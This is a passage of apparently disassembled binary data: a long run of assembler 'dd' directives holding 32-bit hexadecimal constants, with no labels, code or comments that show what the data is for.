		dd 0DC27E8F0h, 899E40F9h, 41B798C3h, 0E4F63C50h, 2D15BC06h
		dd 0B01990Ch, 0E789C68h, 0E3E3DE97h, 0A025DE4h,	45176BBh
		dd 7F4A401Ch, 62D2172Eh, 503C0C43h, 6C246822h, 5469090Ch
		dd 0D7116F8Ah, 46E98420h, 0A75995B2h, 8EFA5CC5h, 0F8D01046h
		dd 805B6606h, 8B2286F4h, 1B0D2F62h, 9F806C98h, 608FF62Fh
		dd 250A06BDh, 7B7407DFh, 261E8BEAh, 5E7864EFh, 36700557h
		dd 13CEFB4Ah, 50CB94Fh,	4F2652ABh, 60A2D0FBh, 734B726Bh
		dd 0EE10C7B2h, 33FC0E08h, 5E11721h, 48197443h, 7F1A6B4Dh
		dd 65570CE4h, 6F592DECh, 1B4C658Ch, 0AF024BC7h,	0DA52543Dh
		dd 0A7715555h, 1687E961h, 2DB8F081h, 427F3A6Fh,	644695F7h
		dd 197761BDh, 9D50B756h, 0E97879DEh, 0A366234h,	4DC0DAF7h
		dd 0DA82CE6Bh, 0C4884EB6h, 0C1DCF8B5h, 38DA6859h, 66A2E63Ah
		dd 72C614Ch, 0E78042B7h, 66CF33D2h, 0FE885288h,	68D6F61Fh
		dd 957D7119h, 0BBBEC24h, 22D06CB9h, 5B6A805Dh, 104C6B06h
		dd 5B683AE9h, 3078F9FCh, 8010E058h, 301661EBh, 0F3A966DDh
		dd 1CB0951Ah, 0FCE38077h, 5771BE6h, 0C31BA2Dh, 512A8052h
		dd 7D096853h, 7D263E64h, 7BA37481h, 6EC42105h, 0C1E1B701h
		dd 0C07FB32Fh, 4736AE22h, 83FC294Fh, 0D27BC21Eh, 50B0014h
		dd 3159396Fh, 729C0E9Dh, 36471804h, 493803C0h, 86E69401h
		dd 0F7A7F98Fh, 1A19D730h, 247C3EBFh, 251716AEh,	583F7560h
		dd 5719F717h, 6444D954h, 1D825F0Bh, 0DFDF8001h,	0C023740Ah
		dd 5359BA0Ch, 0F2978941h, 2C110FF1h, 0EDE00640h, 452A5237h
		dd 0E9DD290Fh, 39EF52EBh, 0CF9BF952h, 38E8964Bh, 8F0B0196h
		dd 0F55B441Fh, 1295E3E9h, 0E887D508h, 2805F8Eh,	1C060E1Ah
		dd 49E9D16Ah, 0F15EF22Ah, 61757F51h, 9699B76Eh,	3082C2B9h
		dd 0C775011Fh, 0B9FF25C3h, 0AF5392BCh, 1DA4FE52h, 64721080h
		dd 4C4A0B1Fh, 906B16FFh, 6FEE0931h, 1C7E3978h, 5105E996h
		dd 98B9CEACh, 0B8702707h, 0ACDDD516h, 0A7B90252h, 7F094B7Ch
		dd 0FA750CC2h, 7B2AE073h, 0E9E0A046h, 1BD2BDA3h, 0B3BCE15Ah
		dd 0B09F54F7h, 0D100BD54h, 5315AA5Dh, 285F92BBh, 0A0E15ECCh
		dd 1456F54Fh, 0F062BE4Ah, 92761D07h, 0EEE5C351h, 45404DB2h
		dd 5B75A5CDh, 9D306B60h, 12D54F34h, 834DC4E9h, 0A862E7A5h
		dd 0E032659Eh, 0C0A58966h, 7686357Eh, 16C4793Ch, 8001CB41h
		dd 0CF2848C7h, 10AEEFABh, 623F7A5Ch, 7AE890E0h,	31F62088h
		dd 5A9EB805h, 83FE3F44h, 0FAEA89ADh, 0AC0A982Bh, 0C1318071h
		dd 6850F99Eh, 901F54E6h, 25954129h, 2B53C04h, 1F0487BFh
		dd 0A2645717h, 0FBCD8C0h, 20E9FE8Eh, 5E76136Eh,	0C447402Ah
		dd 515FF927h, 1693CA0Eh, 7CBA21D1h, 8FE05FBh, 3E24FDD1h
		dd 7DFB5D5Ah, 0B464C5A6h, 0CF7B50A1h, 5A4D5AA4h, 6C3535F5h
		dd 7F5CE47Bh, 7A134B55h, 408C88D1h, 0B63E7A23h,	74E3B1DFh
		dd 8860A615h, 630C5E89h, 5B16B753h, 70A88E58h, 21956597h
		dd 50560056h, 366C0268h, 25582F02h, 0FF8070F8h,	0D879E661h
		dd 0E93C6F49h, 20012F59h, 3438CF0Eh, 94C0B7BEh,	0FF2CB5F8h
		dd 110068D7h, 1718E0Bh,	3CE912FDh, 9B02091h, 7EF97758h
		dd 74711EC2h, 8F143E7h,	945E47FAh, 4D03B524h, 0C1848289h
		dd 0F33FF7ABh, 84A8CA65h, 0B33657A7h, 0BD99FABFh, 0C2F078F0h
		dd 5910ED65h, 72509F8Bh, 0E3FC4BA4h, 8BC61275h,	1D8D1343h
		dd 4B0C093Ah, 7C04DBF7h, 8832E078h, 0F157EE2Dh,	80311642h
		dd 4355F5Bh, 1B45E318h,	1D5186C0h, 0BC29590Ch, 3D08EE28h
		dd 0D16014E9h, 0A73934F3h, 0DF310A08h, 1685025Bh, 0AD892D54h
		dd 2C080E08h, 533C1387h, 0BC68FF7Dh, 12C273Ah, 0CE6F91D9h
		dd 3DBEF7C8h, 0BDEBD89Dh, 2BAF5018h, 252FF70Ch,	84855DAAh
		dd 51080AC3h, 49E002F2h, 0C5F6631Dh, 18138209h,	7BC3297Ah
		dd 0D4C72056h, 85860F0Ch, 6EE385D5h, 6CC3711Bh,	0AF9CE472h
		dd 0EE8EFBD0h, 2529C483h, 0C56802BDh, 0EF665542h, 5EB7B6D7h
		dd 0E232FF17h, 0FE206BB5h, 0E987708Eh, 100B5032h, 0C1FAC158h
		dd 9110006Ah, 0E9462B70h, 35BF3E26h, 0DD875D84h, 6A740BFAh
		dd 9BF0EA43h, 2F26C707h, 479C564Fh, 4E188066h, 0BFF340BBh
		dd 1F109F59h, 0ABF5724h, 86650EC6h, 1055AEE9h, 0E699D2BDh
		dd 78531BC7h, 10047467h, 21285AF5h, 0B7711583h,	8BE3890Bh
		dd 68E74821h, 0A3494AA2h, 906E16E1h, 0EAB68747h, 77E7D582h
		dd 72497FC5h, 396030EAh, 1A12C61Dh, 946F8D25h, 89A8A521h
		dd 5ED9F701h, 0E9E73A48h, 14E40285h, 1DE24865h,	3E138DDFh
		dd 7883614Fh, 20714852h, 9511BD3Ch, 6FD8006Ch, 63542ACh
		dd 715E0F80h, 38E91689h, 404ED999h, 811605Eh, 5303C58h
		dd 45335FA5h, 3F16D7FFh, 4E22C56Eh, 0B46C793Bh,	0E96CB897h
		dd 0AE0FD2A2h, 0FEF8F029h, 41B29ED2h, 8A13C468h, 0B05D21FFh
		dd 26EDE381h, 0EF4143EFh, 51D54052h, 10461883h,	0CBE01C74h
		dd 0F52C1F36h, 5E100775h, 92FA871Ch, 0B430EFD3h, 9093D829h
		dd 0C7C30065h, 550FFA02h, 51072DBDh, 0B7E93B7Fh, 9D0CA1FBh
		dd 0A42EFE7Dh, 5EF05F61h, 0D5C70122h, 0EBD2A611h, 33E96D30h
		dd 0BC4AD28Fh, 0D314B200h, 32B5094Bh, 0FE599884h, 0F6808200h
		dd 5CB75329h, 0BD101BCBh, 5EAF4FD4h, 41548B2Ah,	0C01E785Ah
		dd 489307E3h, 0FF494513h, 2793F490h, 0CC9F0D94h, 444C123Ah
		dd 0D66AA201h, 0C45A16F2h, 70CBAB94h, 0FDB5E909h, 163CB1F1h
		dd 8D4F4A57h, 0EDB2E4D2h, 5E89AFE3h, 82ED7876h,	0CC92CA33h
		dd 0BF040FB0h, 30FA68C8h, 0D519E798h, 0F05E46EFh, 9858B3F9h
		dd 990C8662h, 2D2AF931h, 1AF4EC6Eh, 37E97B95h, 9464C2B2h
		dd 583244D1h, 0FC99AB2Ah, 5653E34Eh, 0A19C5EB3h, 0B8106ECh
		dd 0ACEEC881h, 0E7022449h, 83276B3Eh, 0EAC11DABh, 2FC8D7D8h
		dd 5ED605EDh, 70F62AC0h, 6AF74C28h, 4698CF3Fh, 9BB546EAh
		dd 1D692C38h, 0B2F04E8h, 900F531h, 0C8EA808Eh, 2EEB4CCCh
		dd 122CBF21h, 0E8B716FEh, 3D255684h, 63AD397Ch,	130D6500h
		dd 3037924h, 997D3C05h,	0B930F91Ch, 0E0350305h,	0C99D002h
		dd 85BC4474h, 0A52DAFB5h, 0CA0F5241h, 7A9FA205h, 0D18ECA97h
		dd 13579F5Fh, 5E784B35h, 680BF4C5h, 0C7F95CD1h,	497F8FC7h
		dd 3A5855E9h, 0A9243EEh, 639E2C90h, 0FC885C16h,	0C3AE44F8h
		dd 2214420Bh, 0FD122907h, 24CD5941h, 8A09B9A9h,	721F6D7Dh
		dd 8CC5057Bh, 0D1409475h, 17B4CE4h, 0C839D904h,	0A77C202Eh
		dd 5679965Ch, 0E110A072h, 37AB4A46h, 276DC207h,	89EA8D9Bh
		dd 280FE5D6h, 1AB8E2E3h, 33D95501h, 71819244h, 0E181AF9Ah
		dd 0C2D461F6h, 831E6B30h, 13BDC142h, 0D1CA8222h, 0B2475F5h
		dd 0F67C007h, 0C767871h, 0D60E700h, 45E972D9h, 0EF87A83Fh
		dd 16BE2E47h, 7D250957h, 2F3F22C8h, 810E5301h, 0E70193E2h
		dd 0C70C07EFh, 0C04BF83Bh, 0CF3E3DEAh, 51E795Ch, 88C1585h
		dd 293804EBh, 890298EBh, 0B0565495h, 0CE0AB73Ah, 0C201181Ah
		dd 0C080C3Eh, 672D1873h, 8B2BF833h, 258A0F80h, 0A348D40Ah
		dd 0BF0E9FCEh, 49C38953h, 55BE5DDDh, 0E44E0D25h, 5B09F057h
		dd 5CAB707Bh, 1213E8C1h, 0CC06C831h, 9525C060h,	0E8C32AE1h
		dd 649FDB03h, 895C1799h, 6D30EF14h, 0C093CAE9h,	81E3D10Eh
		dd 600192EBh, 850F7D80h
		dd 9F34121Ch, 704D6D3h,	0F234067Ah, 7255CA8Ah, 74E22FB4h
		dd 770BE066h, 0B1B5E37h, 0B236F2DDh, 0EBC1170Fh, 519E4302h
		dd 2B4B70B9h, 16DF0FF4h, 4ECC4AE9h, 41E4C2D2h, 6970D94Eh
		dd 5D288641h, 0DED8822Dh, 165F490Ch, 1E410483h,	804A605Bh
		dd 0E3086F0Ch, 0F23B1676h, 87432844h, 31CB8A37h, 0E87F6162h
		dd 0A003EFF5h, 80223BE9h, 200BCF81h, 417FC40h, 8A073AF2h
		dd 0FAEDD2EFh, 5F674160h, 0ED026CBDh, 0CF05BD49h, 41118FBAh
		dd 0A44EF09Ah, 4BAE2C5Ch, 9C133B4h, 2DBE2587h, 0E40C3A76h
		dd 0CF18D50h, 62BC2E0Ch, 14125226h, 4D00DCB5h, 4C3C55E8h
		dd 63CA4829h, 98590840h, 0AC3851A3h, 0BF976E36h, 0EDB0D761h
		dd 0CA015C01h, 5B5093C6h, 19405D95h, 99549F58h,	99EBF365h
		dd 0DFD12A03h, 0A835D0B7h, 12BEFB04h, 628C88B4h, 0B6887C03h
		dd 84F977E9h, 0BB53E700h, 0C92E48C1h, 0C69ABF49h, 3C8B7D0Fh
		dd 53598C96h, 5F932424h, 4896A639h, 0ABEED501h,	0E9EC89B6h
		dd 2422697Fh, 4C7D457Dh, 6A49E9C7h, 55A2778h, 1791C15Ah
		dd 0A8825F54h, 4E456F28h, 90DBC300h, 23B142BAh,	3CBA9EFh
		dd 8D91E950h, 50C1A62h,	0E82102C3h, 612CC364h, 31894C40h
		dd 0E430DFF3h, 82E7E3C1h, 236F0D72h, 0C7CE8206h, 2C05C913h
		dd 856CB66Eh, 1AB052E9h, 0C2A2468h, 59046FE7h, 4F9BAF7Dh
		dd 41C5C450h, 0E5813A3Dh, 0B800F3D3h, 40B6681h,	0DAC62906h
		dd 0E1452584h, 606E325Fh, 86228DABh, 0E14B6DB0h, 0C0F95C39h
		dd 9830A775h, 9D82B0EFh, 0F7956381h, 56C9CFD5h,	7F277AF6h
		dd 4A177382h, 2E5DC03Ah, 5F4082BAh, 57CB622Dh, 0F5A642D1h
		dd 273BBDE5h, 4F38DD1Ch, 12634168h, 5F1CC93Dh, 0B9D5EC82h
		dd 0A02FF86Ah, 0C560A968h, 0F3839E4Fh, 5B4002Bh, 516DC480h
		dd 0E92E0CB5h, 9702169h, 0A6E0D962h, 13206468h,	654416Eh
		dd 8B4D93A6h, 1994C707h, 0A3B23430h, 9164D7FCh,	0D76FFD74h
		dd 460B1309h, 77A481ACh, 4670EE31h, 428A40E7h, 0A44AEDB0h
		dd 0B30267FAh, 690774DFh, 64354DC3h, 30FB5904h,	0F1C6E93Ch
		dd 680B1095h, 651B5F96h, 0C229EA63h, 60E9091Ch,	0A5BEBF94h
		dd 0C4A2E72h, 981B0E0h,	9478C0E6h, 0A3A19D82h, 5C78A171h
		dd 2524B653h, 0D013C16Ch, 944407E9h, 998CA31h, 0C21EC689h
		dd 85BF2DBDh, 89EF3191h, 0B0AC6C21h, 5A49192Dh,	5B50A30h
		dd 67E02D07h, 0A3C0CD90h, 0D31541C1h, 49AE904Fh, 0F6022D5Ah
		dd 19885E12h, 1074FF42h, 0ACDD0150h, 3549B0CCh,	0EE1CF8EAh
		dd 5525A6CBh, 951C34D5h, 78E92630h, 0EF9FFA60h,	0B8097730h
		dd 10C71D80h, 57B380CDh, 10D48E9h, 40958B80h, 1897528Ch
		dd 9F65B49Bh, 0F1E0FCD0h, 0DD3EE913h, 90211D86h, 28F8205Ah
		dd 65C35B4Fh, 3E33D103h, 0B96226Ch, 96DE950Ch, 0CC7D98Dh
		dd 412BCD3Fh, 0B4410315h, 0A60BCB49h, 96D68BCh,	5AEB3D19h
		dd 0BA3915AEh, 4CC19BAAh, 3920F354h, 405A76B5h,	304411EDh
		dd 0CD016D14h, 5408419Dh, 0C4E7EA0Eh, 69709D3h,	93BDB8D3h
		dd 0CB29F820h, 0E210D36Ch, 0C68912D7h, 2B9D32C7h, 23F40040h
		dd 5A672C69h, 7BD102BEh, 0C8554908h, 474C66Ch, 31E32B3Bh
		dd 9198BF2h, 0BECB09E9h, 2642BAEFh, 6FDCF765h, 3BB56806h
		dd 0C907DEBEh, 7C675AF6h, 0F3EDE16Fh, 1D5336Eh,	43580569h
		dd 4E13C23Ah, 1A21F875h, 5F1C2332h, 0B1A83B05h,	4DEE6D84h
		dd 0EE257CCAh, 44F6E814h, 0FA4B7BF0h, 0BC8BD4DDh, 0D1492E18h
		dd 2CC93FB4h, 68657758h, 7A44E905h, 0C668AE40h,	0AC7BC56Fh
		dd 0D03500C5h, 0F73987Ah, 6B414B82h, 0CDC5C17Fh, 0CA104FCh
		dd 0F84C1D28h, 0A2D3C052h, 5D82DA81h, 0F925B267h, 0AA0CC1Ah
		dd 5DBC6AE1h, 6B8BE9B1h, 0E0EFAF90h, 6C93056Eh,	0AF9F800Fh
		dd 137E2EC8h, 11F4A62h,	65EC091Eh, 6AE83086h, 0D4344082h
		dd 0A0FBFC9Dh, 0B39CDCDh, 0CA011D61h, 7D209909h, 0A2551EBAh
		dd 0F23567B8h, 13EA0D1Ah, 3A63E1F8h, 1CB232E8h,	7C190F02h
		dd 2A5AAD84h, 34AE724Eh, 0F1FEC5DAh, 30F36AD3h,	21F709C6h
		dd 754BE077h, 1AF90A17h, 1DB0CB80h, 3CC01408h, 7D5AC787h
		dd 0BDFB71E9h, 0DE4F2AEh, 0C7399229h, 6049D17Fh, 14A46822h
		dd 7879E927h, 501F993Bh, 2A497BE9h, 20408B8Eh, 0F6BA66CFh
		dd 5F31E85Fh, 4586C3D5h, 0BFE857DBh, 29FA3BBBh,	24C1FD7Dh
		dd 350AF581h, 0EB24D7FAh, 8966D0F0h, 1975AD1h, 0FEAC8A68h
		dd 40EB2512h, 0B7BBD1EBh, 0CAE30F4Ah, 967554CBh, 0BFE91233h
		dd 6275A248h, 10EF0D0h,	0CC90C580h, 0F5EC63EDh,	1E2D827Eh
		dd 5BE46899h, 0BCDA8303h, 485AB8E9h, 52411F82h,	0E0C1CC30h
		dd 44076CAh, 0FBA26BEEh, 110B0D4h, 95D8EB50h, 2B045D05h
		dd 8AFB2C8Bh, 51B3271Ch, 4C0A80E2h, 5B5E4990h, 39200097h
		dd 30E96602h, 0F62BDE7Ah, 0EB01531Eh, 8E0F461Dh, 95532670h
		dd 0BA87C0DEh, 0EE2BC124h, 0E2716061h, 0D54BBDDCh, 210452Ah
		dd 3EE25D48h, 5F93BE60h, 24685680h, 695A5088h, 8E879310h
		dd 0A1973480h, 302E7A96h, 534BBF7Bh, 584B257Dh,	4F121A16h
		dd 0F7FE61BEh, 8DEC3F5Eh, 89B7E0F1h, 0FC59CE29h, 16CB6FC9h
		dd 1BF3FA7h, 0F64E4C1Eh, 0FD849BDAh, 0A408A099h, 0B45000EBh
		dd 30F48075h, 86E38826h, 5BDC01CEh, 5667E608h, 429A611h
		dd 0CA67B1CEh, 0C231F4C1h, 79F11782h, 0A2609007h, 8540F68Eh
		dd 2E15AE9h, 198B687Bh,	560B49Ah, 27C5DDC4h, 0E40AC0Bh
		dd 86046068h, 5FC3CB66h, 617235FEh, 80000702h, 3890DFC1h
		dd 0A0B55FF4h, 671BC7D1h, 34097B8Bh, 0B8FD4ACFh, 0F2040F9Eh
		dd 76FF861Ch, 39C1072Fh, 0B52BD734h, 35E240AAh,	0F36537C8h
		dd 6DD4DDF4h, 2D3E7B3Fh, 5931A5CAh, 98830238h, 0D3A1E5FCh
		dd 0DB3485E9h, 0CB9BEB85h, 0F83BF145h, 0EFE9C239h, 5444DD75h
		dd 91017390h, 0F7295D45h, 189F43D3h, 19813F02h,	0E91831C2h
		dd 0ADB44446h, 29EE962Fh, 3F8761D1h, 171312B9h,	1CF6D406h
		dd 1413C536h, 5BA782D2h, 0EDDD09DDh, 0C5FE005Bh, 282DB050h
		dd 856B2CEBh, 69EE3549h, 3F0609F8h, 8A4530CAh, 52BBB06Ah
		dd 285EB273h, 0BAA2C5B0h, 0DDBF1F5Ch, 0A539534Ah, 1AFFF0C3h
		dd 963B6326h, 6979AB0Dh, 2C0DDEF0h, 4ED2105h, 0FF012EA4h
		dd 7008F65h, 7595613Ch,	101235E9h, 818BBE22h, 427F827Ah
		dd 0FE82D827h, 5933EE55h, 3B73773Bh, 0FF5088F9h, 64B4AB11h
		dd 490C3ECFh, 955D888h,	0C98E860Fh, 0F1A8137Dh,	283E69E4h
		dd 0B84A061Ah, 0CE891471h, 0B46EEC3Ah, 0CE584BBAh, 7C687DE0h
		dd 56307D5Fh, 99011638h, 68570063h, 0DA079E5h, 2A88D2BCh
		dd 0A7CE82CDh, 0ABC09C22h, 16C4E5C9h, 46AEF088h, 0A7D050E4h
		dd 7AE49825h, 1CF60BA6h, 54894608h, 0CEFE8777h,	0CC963642h
		dd 14F6B1A2h, 8D8289FDh, 4B07136Ah, 0C8ECC1C2h,	7158C2E3h
		dd 1605745Fh, 0F12C4D7Ah, 50070776h, 10FB5693h,	452E051Eh
		dd 275D6C8Fh, 508C39E9h, 1FDBC431h, 0B5510325h,	0C88AC2DEh
		dd 9B353F8h, 6EBC0B2h, 82E29084h, 42524CE1h, 0B6FB3E17h
		dd 9228110Fh, 0CBDEEFBDh, 0DCB06095h, 9B515111h, 62D4F881h
		dd 5376BC79h, 0F1A4A5F0h, 3E48650Fh, 0A6927F8Dh, 0D4171C8Dh
		dd 116BF06h, 0F680E6D0h, 61F58815h, 0B67EC238h,	684A1072h
		dd 444FA06Ch, 92B3944Dh, 10CBEB14h, 53000221h, 4915BB66h
		dd 0E14FE6E9h, 0AD96FDC2h, 0E6057B20h, 2A1C128Fh, 41B6F879h
		dd 3298D407h, 27FECD4Ch
		dd 0D0217E3Ch, 189A0EE9h, 207058BFh, 5502EC8Dh,	0FE6F45BDh
		dd 82EF452h, 9E260DFCh,	1E6E446Fh, 8A8F1F91h, 0DAA4447Fh
		dd 0C35D1F4Bh, 24080DCDh, 0D9F9F893h, 0B3923EC2h, 0B51F788Dh
		dd 0DBA8B8D9h, 1FE0AD2h, 0DE742081h, 0B16B207Dh, 44142209h
		dd 8A38D721h, 0F19DE31Fh, 0E680672h, 0C2204F27h, 0F20926EBh
		dd 0CA8739ABh, 0E5F9FA7Dh, 0F2A7A14Eh, 6E8E4960h, 4CF9C34Ch
		dd 3585826h, 77D873D3h,	0A0C4B401h, 40920810h, 0F724E917h
		dd 82A70DB2h, 0B0804A8h, 6428C154h, 7709CC0Bh, 839C725Fh
		dd 131C0708h, 0F945736Bh, 21C30FDh, 0B5A2921Fh,	665DFAB2h
		dd 0D43C5968h, 0DDCAF701h, 6E01F3CFh, 0A400892Dh, 4B523AFDh
		dd 4234B131h, 23402A85h, 2C49681Dh, 0C2BD8032h,	25760266h
		dd 9C65EF21h, 0ABCF03BBh, 509853Dh, 7AC0174Ah, 8F9A01C4h
		dd 0A072E55Bh, 8809A8Ah, 0D2A4AEE9h, 9083969Dh,	1F3D359h
		dd 230C5515h, 3BECED5Eh, 75C37040h, 0A24F8F3Fh,	0CD66C0A4h
		dd 605581EEh, 0A2BDB855h, 0C1C00B05h, 9628C5B6h, 8D1DE265h
		dd 18E0008Eh, 0E4E50278h, 0BA0C5DEEh, 88607990h, 4506406Ch
		dd 5B406990h, 0DFF7254Fh, 1A495260h, 0C7291913h, 314AC4BCh
		dd 0C281D048h, 0BDB9715Dh, 0E5C1F3A7h, 0F6B9D729h, 1AA5DE21h
		dd 3DA2AA81h, 165ACC58h, 0D7B00971h, 530A327Eh,	0C3408E42h
		dd 3E649E29h, 2492DD89h, 2D11B31Ch, 7018740Ch, 7BB2A97Ch
		dd 0D14000A3h, 483C5FE4h, 42680B0Fh, 582B121Ah,	0B302B5EEh
		dd 0B800E166h, 0FE66D41h, 4DDB0D62h, 800F2941h,	0DCE8DE3Fh
		dd 122F3A17h, 574F0966h, 7F5F61E1h, 0CDEFD013h,	0E154EE56h
		dd 484009h, 0A334F950h,	0EFD11619h, 20658D51h, 1E40A6E1h
		dd 0D701255Dh, 0CD819A55h, 1EEBA895h, 931CCEh, 6B62C981h
		dd 0E9244A4Dh, 32AC2B1Dh, 0F2A56737h, 0C75B90AEh, 8A0534DCh
		dd 9D830F63h, 58E9B142h, 17F972E1h, 4FD2B73h, 1057D46h
		dd 183560BDh, 1EC581DCh, 0A7FEBC47h, 29067FD8h,	4073E9D3h
		dd 25BF9040h, 6B596D84h, 60FBEA44h, 9759E951h, 0D22F3BDh
		dd 6E125A05h, 0E9A177F3h, 6AC6350Ah, 3E261781h,	90D2A757h
		dd 3B5DC81Ch, 1235B31Ah, 613EE1DDh, 0A7AD3A6Eh,	487D1CA2h
		dd 93E8576h, 0C4E91D74h, 36B0D57Ah, 39CB8F30h, 737248E7h
		dd 0BDB3A071h, 234F271Eh, 97A2975h, 4B48E4A2h, 0FFFD12DDh
		dd 192AFA8Eh, 0F547F7D9h, 134B3971h, 72AEFF60h,	0ABFD4ADCh
		dd 56D62104h, 5FC48000h, 0B600B753h, 0F604EFC0h, 9A2BE9DFh
		dd 14872D4Eh, 0F3BF171Ch, 0D7E90424h, 1BF3AFE5h, 51B24C94h
		dd 3A7CFFCAh, 88E816E5h, 541E099Eh, 0ED0F38FAh,	6907F11Dh
		dd 5F04E22Eh, 4FA38D8h,	529E769Fh, 6DADD955h, 5BAC2F9Bh
		dd 8611707Dh, 0F9DF7836h, 0E04A2411h, 0B543524Bh, 8702F1FAh
		dd 0DC0BE2EFh, 625551EEh, 0FF5DC93Ch, 6C058816h, 837C5137h
		dd 8882F684h, 74030906h, 0BFB41709h, 2768952Ch,	58186C4Fh
		dd 0A4A8737Ch, 0D804B1Ah, 53462CC7h, 67758279h,	607F18AFh
		dd 90E8D1FCh, 16FF1C52h, 30E98642h, 0ED39ED33h,	1C21054Dh
		dd 0B79CE829h, 5F165540h, 2F3A02E0h, 76DA43D2h,	0CD12E910h
		dd 6433B902h, 41400173h, 0A01D45B0h, 0F89414Bh,	0AD027323h
		dd 296232DCh, 8B28F9DFh, 0B8573C87h, 6B22E9CEh,	8654B1A8h
		dd 0D1622B02h, 0B808805Ch, 90421870h, 12319A67h, 0B2EE315Ah
		dd 0E7C5C049h, 287F7118h, 8281F529h, 5F60608h, 5DE803F3h
		dd 0C10A3D0Dh, 0E2F6C1DCh, 22870436h, 9F14DFCh,	17AAB5E0h
		dd 20E0445Dh, 507BCCDh,	3A867EA6h, 0E6727B57h, 9705C046h
		dd 18EC306Eh, 0E108DC8Ch, 0E00C5A60h, 0A067D723h, 91DCBD6h
		dd 86E92ECEh, 739DD450h, 0A9E942FBh, 0F51CD95Ah, 1601C6D9h
		dd 577EEB2Dh, 0C1D4C42Ah, 630E25h, 5ADD6852h, 4A64E32Fh
		dd 0B63965AFh, 70814A3Ah, 68004AC4h, 6C932DEEh,	19208607h
		dd 0CD63E913h, 2CE0BCC8h, 60ACF06h, 942EB4C7h, 0EF00C2B1h
		dd 0AECA0225h, 0CD3D20E9h, 61850505h, 61C16C43h, 892B56EBh
		dd 3688E4FBh, 3500C2BEh, 3D0A5A11h, 0D7F985Bh, 294F0687h
		dd 10478A2h, 5349E281h,	0FA88734Ch, 3016B3C8h, 8FDFCF04h
		dd 71685D01h, 0DC002841h, 5984FC2h, 1C927621h, 68C1E057h
		dd 693444A1h, 9492F06Eh, 580691B6h, 0A810C821h,	728853E0h
		dd 7BFD58D7h, 16E6AB27h, 390D8920h, 895CCE87h, 0BEE52F13h
		dd 0F589533Ch, 28C8B2Ah, 0A7E95652h, 2A9BA04Bh,	7B5FA333h
		dd 66722F5Eh, 0D4A6C87Bh, 9191FD22h, 0EC9EE9E3h, 0A0270ABDh
		dd 5C5FC578h, 3A840A76h, 3A1D6663h, 81E3A801h, 0B3395808h
		dd 16F14250h, 0F87CDD0Dh, 0B2E98EE4h, 0F27A95A1h, 0AE645B16h
		dd 320F7056h, 351DA57Dh, 0CC97A1AEh, 14026909h,	0E957516Ah
		dd 0BBDEC861h, 0F33B0FA9h, 0CF664311h, 0B81FC93Ch, 729E1A44h
		dd 95D091DBh, 0EDBA8781h, 89FAF22Fh, 0FE93C053h, 5A8072C1h
		dd 2DE4AC70h, 0DEEF620h, 0D0BC455Eh, 830FF681h,	891BAE16h
		dd 5CDC420Dh, 0E575D2B9h, 34D527BFh, 810684CBh,	0CC3BEDDBh
		dd 1F92F8BCh, 0A8F97BA3h, 0AB927EE8h, 61D7FC7Fh, 84883CB1h
		dd 4640E9C0h, 0B3EE8990h, 3210573h, 883D820Fh, 11410221h
		dd 7CBCD940h, 980B7B84h, 90479A77h, 68CA408Bh, 372DDF32h
		dd 0F06CEA0Dh, 9F1BE6E4h, 0DE1E2618h, 0BE204E81h, 0D19DC069h
		dd 0E1C1585Ah, 9498F8A3h, 0F714662h, 19A38F1Bh,	895F8A9h
		dd 86F4E542h, 0DCC0D360h, 0E241F251h, 946F7941h, 0FCC48405h
		dd 0C888A3FEh, 91F3C3E9h, 1561032Dh, 9C102F7Eh,	474E49D0h
		dd 9B036854h, 5E1EB67Fh, 45EEC86Ah, 64FC0D13h, 21998E05h
		dd 1FE2CCABh, 0F69D459Ah, 0EF5852DFh, 0F81A2809h, 2FB5800Ah
		dd 7127AD02h, 2DE3B6E9h, 4E4E7AF6h, 8C28DD0h, 0EECAFB72h
		dd 484206B9h, 7B0E301h,	0D1282C1Bh, 5440902Ch, 382561AAh
		dd 0F8AF420Ch, 0C163EBE9h, 8412F5D5h, 0B71B3EEh, 9A2FC568h
		dd 5D4A603Ah, 2A5A005Fh, 698BF281h, 0F7330258h,	0D73104DAh
		dd 1708D626h, 0BEAE83E9h, 55E7D430h, 1DEC270Bh,	5EF42E52h
		dd 0E821B825h, 8336ABB9h, 708DEBF1h, 8F987D46h,	0AAE3174Ah
		dd 0EF128B8Fh, 8E48D68Bh, 13932010h, 45D40158h,	57696D44h
		dd 0E9A058BCh, 699CE4BDh, 0A526FC62h, 37705E08h, 9EFA15E9h
		dd 0D9BCB0FCh, 6D7D2C2Eh, 5C4A5120h, 23C6464h, 88D43FA7h
		dd 77B195BFh, 68570142h, 3BED2180h, 86286EF9h, 4538EA4Eh
		dd 0FA8F25E9h, 5FBECE16h, 6F5B7682h, 0A90E44Eh,	15C67A93h
		dd 46740508h, 5CCDC2E4h, 0C689DDEh, 1C201034h, 0EB05E955h
		dd 56269626h, 0B3DD5A6Eh, 1F6D0087h, 0E935B246h, 919A47B5h
		dd 0B004EB5Ah, 0FE13321Bh, 34402790h, 0B9784F1Ch, 0D87A62C5h
		dd 2CA2DA10h, 8BFFE4Bh,	603C87D7h, 0D9248574h, 7F4A029h
		dd 327D3B2Fh, 136DEBACh, 0F712C835h, 0E140D82Eh, 681DBA10h
		dd 0EE5AB80Dh, 0D414969h, 7A0D2D85h, 8330158Fh,	4574E90Ch
		dd 0F75C10C9h, 9C5F7314h, 5F8CFEB8h, 45818EC8h,	1DD89C60h
		dd 8E7E350Ch, 0BFE96FEDh, 79D63820h, 293F2405h,	8A172EAh
		dd 920B315Dh, 8EB85A97h, 0D1045558h, 0C06EC562h, 0F77C09A7h
		dd 800F3904h, 0E940074Fh, 5B2A260Bh, 892A87F8h,	0C904DA40h
		dd 4F443569h, 941DDC2h,	5C4F5354h, 0C32BCC98h, 0AEA2133Dh
		dd 0C71C01DEh, 6A01D359h, 25716514h, 96FCF8B2h,	0FBFA5B13h
		dd 14BD6958h, 0E8FA5F04h
		dd 27E9A8EAh, 0FE9926DCh, 0AEF9092Ch, 2C4C9E38h, 0EEC4A13Eh
		dd 693015B0h, 16395609h, 8B5B1658h, 0B97204EBh,	95A059Ch
		dd 46F4FA91h, 6E0C100h,	949C9AF0h, 0C7E983Eh, 0EB840F1Ah
		dd 60121D69h, 0AB6FD085h, 2D4EDC09h, 703725F8h,	56810F2Eh
		dd 0E8472B4Ah, 68803E03h, 0F82A033Fh, 0EE095D6Ch, 2E099E9Eh
		dd 58CA83h, 3E7DBA6Eh, 15297F26h, 8F3F4AE9h, 5BBCE528h
		dd 82DD858Eh, 5231809h,	0C439DBECh, 844B16B3h, 6CCFABA4h
